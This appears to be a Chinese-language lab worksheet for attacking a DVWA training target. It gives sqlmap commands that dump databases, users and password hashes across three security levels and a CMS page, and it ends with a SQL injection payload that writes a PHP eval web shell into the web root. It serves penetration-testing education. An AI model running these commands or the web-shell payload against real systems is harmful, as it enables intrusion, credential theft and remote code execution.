實驗環境要求:
1、安裝win7或win10的筆記本或PC電腦一台,硬盤100GB,內存8GB
2、安裝VMware® Workstation 14以上
總體目標:基於centos7搭建dvwa web服務靶機,使用主機上的瀏覽器和kali虛擬機作為攻擊機。使用kali中的sqlmap攻擊dvwa上的sql注入和sql盲注漏洞。
任務一、使用kali中的sqlmap攻擊dvwa中sql注入漏洞(low)
- 測試dvwa注入點,截圖
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"
- 列出所有數據庫,截圖
- 獲取數據表,截圖
- 獲取數據,截圖
- 獲取所有管理用戶,截圖
- 獲取用戶密碼,截圖
任務二、使用kali中的sqlmap攻擊dvwa中sql注入漏洞(medium)
- 測試dvwa注入點,截圖
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=medium;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"
觀察可以看出為POST表單
使用Burp劫獲POST信息
將信息保存成文件
使用文件進行攻擊
- 列出所有數據庫,截圖
- 獲取數據表,截圖
- 獲取數據,截圖
- 獲取所有管理用戶,截圖
- 獲取用戶密碼,截圖
任務三、使用kali中的sqlmap攻擊dvwa中sql注入漏洞(high)
- 測試dvwa注入點,截圖
sqlmap -u "http://192.168.91.80/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=high;PHPSESSID=vjv7i3sc3dscsquhofdlfqf5e0"
觀察頁面信息為POST表單
原始方法肯定不行,所以再試試剛才的方法
保持請求
試過后發現失敗
查看源碼后使用二階SQL注入—second-order
- 列出所有數據庫,截圖
- 獲取數據表,截圖
- 獲取數據,截圖
- 獲取所有管理用戶,截圖
- 獲取用戶密碼,截圖
拓展任務一、使用kali中的sqlmap攻擊cms中sql注入漏洞
- 測試cms注入點,截圖
sqlmap -u http://192.168.91.80/cms/show.php?id=1
- 列出所有數據庫,截圖
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –dbs
- 獲取數據表,截圖
sqlmap -u http://192.168.91.80/cms/show.php?id=1 -D dvwa –tables
- 獲取數據,截圖
sqlmap -u http://192.168.91.80/cms/show.php?id=1 --dump -D dvwa
- 獲取所有管理用戶,截圖
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –users
- 獲取用戶密碼,截圖
sqlmap -u http://192.168.91.80/cms/show.php?id=1 –passwords
拓展任務二、通過sql注入漏洞獲取sql-shell和os-shell
- 使用sqlmap查看當前用戶是否為dba,截圖
- 使用sqlmap獲取sql-shell,截圖
- 使用sqlmap獲取os-shell,截圖
直接使用命令是錯誤的
我們需要在靶機修改一些參數來實現
重啟服務
- 通過sql注入漏洞上傳一句話木馬,截圖
1' union select 1,"<?php @eval($_POST['pass']);?>" INTO OUTFILE "/var/www/html/dvwa/hack.php" #
執行不了說明沒有權限,修改dvwa文件權限